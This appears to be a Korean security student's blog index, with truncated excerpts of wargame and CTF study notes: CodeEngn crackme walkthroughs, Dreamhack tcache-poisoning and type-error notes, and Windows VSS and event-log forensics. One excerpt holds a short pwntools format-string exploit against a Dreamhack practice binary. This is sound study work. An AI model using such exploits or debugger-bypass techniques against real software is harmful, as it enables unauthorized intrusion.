전체 글 191

CodeEngn_Basic RCE L04

문제파일 실행 시 1초정도마다 정상 문자열이 출력된다 Immunity Debugger로 실행했더니 디버깅 당했다는 메시지가 출력된다. 처음 실행하면 오른쪽 실행 창과 같이 아무 문자열도 출력되지 않는다. 디버거를 탐지하는 프로그램을 찾기 위해 어떤 명령어가 실행되었을 때부터 탐지 결과가 출력되는지 확인하기 한줄씩 실행(f8)하며 찾는다 한줄씩 실행하다 보면 위의 선택된 명령이 실행되는 순간 ‘디버깅 당함’이 출력되기 시작한다. 해당 명령에 breakpoint(f2)를 걸고 프로그램 재시작 후 f9를 눌러 break point까지 내려오고, f7을 눌러 해당 함수 안으로 들어가본다. 함수 내부로 진입한 상황. 여기서도 실행창에서 아직 아무것도 출력되지 않았다. 이 함수도 특정 지점까지 진행되어야 실행창에 ..

카테고리 없음 2022.09.25

CodeEngn_Basic RCE L03

문제 파일 다운로드 후 파일 실행했더니 dll이 없다는 경고가 떴다. Dll 파일 다운로드 후 문제 파일과 MSVBVM50.DLL을 같은 폴더에 위치시킨 후 03.exe를 실행시키면 파일이 정상 실행된다. 디버거에 파일을 넣고 마우스 오른쪽 버튼 클릭 -> Search for -> All referenced text strings 선택 이 파일에 의해 참조되는 모든 문자열이 출력된다. 빨간 네모를 보면 비밀번호로 보이는 문자열 두개를 기점으로 비밀번호 정답/오류 메시지가 출력된다. 예상대로 해당 문자열을 입력하니 정답 창이 나왔다. 실행파일의 비밀번호를 알았으니, 이 비밀번호 정오를 검증하는 문자열 비교함수를 찾아야 한다. 비밀번호를 알아낸 창 왼쪽 상단을 보면 함수 이름으로 보이는 문자열들이 쭉 나온다..

드림핵 Stage12_Tcache Poisoning

Tcache Poisoning tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법 할당된 청크에서 데이터를 저장하는 부분이, 해제된 청크에서는 fd와 bk값을 저장하는 데 사용됨 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있다면, 그 청크의 fd와 bk 조작 가능 => ptmalloc2의 free list에 임의 주소를 추가할 수 있음 => 임의 주소 읽기, 임의 주소 쓰기 가능 Tcache Poisoning 실습 코드 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // Name: tcache_poison.c // Compil..

카테고리 없음 2022.08.14

vss, 휴지통

VSS(Volume Shadow Copy Service) • 특정한 시각의 파일, 폴더의 복사본이나 볼륨의 스냅샷을 저장해두고 복원할 수 있는 기능 시스템 복원 기능 • 컴퓨터 전체를 복원 지점으로 되돌리기 • 특정 파일/폴더를 이전 버전으로 되돌리기 VSS 설정 • 복원 지점 만들기 검색 • 구성 -> 시스템 보호 사용 설정 구성 -> 디스크 공간 설정 • 만들기 -> 시스템 복원 VSS 확인 • cmd 창 -> vssadmin list shadows 명령 입력 • mklink /d \ • 파일 탐색기로 접근하여 확인하면 복원 지점으로 설정한 시점의 파일을 확인할 수 있음 ShadowExplorer : 위 작업 편하게 가능(위 처럼 링크 별도 생성 필요 x) • https://www.shadowexpl..

카테고리 없음 2022.08.08

로그, 이벤트

로그 : 컴퓨터를 이용한 기록 등이 컴퓨터 내에 남아있는 것 - 이벤트 로그(Event Logs) • Windows 운영체제에서 시스템의 로그를 남기는 방식 • 이벤트 뷰어(Event Viewer)를 통해 확인할 수 있음 • 시스템 로그, 응용프로그램 로그, 보안 로그 등이 존재 - 이벤트 로그(Event Logs) • 응용 프로그램 로그 • 보안 로그 • Setup 로그 • 시스템 로그 • 응용프로그램 및 서비스 로그 - 응용프로그램(Application) • 시스템 구성 요소를 제외한 응용프로그램에서 발생한 이벤트기록 (데이터베이스오류, AV 로그 등) • 기록할 이벤트유형은 응용프로그램 개발자가 결정 • 보안(Security) • 파일만들기, 열기 등의 리소스 사용 이벤트 및 로그인성공/실패, 보안..

카테고리 없음 2022.08.07

basic_exploitation_003

sprintf() 함수는 끝 널 문자를 계산하지 않고 배열에 작성된 바이트 수를 리턴 따라서 heap_buf가 format string의 역할을 해 FSB 발생 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * REMOTE = True if not REMOTE: r = process('./release/basic_exploitation_003') else: r = remote('host3.dreamhack.games', 포트번호) get_shell = 0x8048669 # get_shell() r.send(b'%156c' + p32(get_shell)) r.interactive() Colored by Color Scripter cs 서식 지정자를 이용해서 stac..

카테고리 없음 2022.08.07

DreamHack Stage 13_type Error

변수 자료형 선언시 담을 값의 크기, 용도, 부호 여부 고려 필요 Type error 부적절한 자료형을 사용했을 때 발생 - Out of Range: 데이터 유실 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // Name: out_of_range.c // Compile: gcc -o out_of_range out_of_range.c #include unsigned long long factorial(unsigned int n) { unsigned long long res = 1; for (int i = 1; i = 50) { fprintf(stderr, "Input is too large"); return -1; } res = factoria..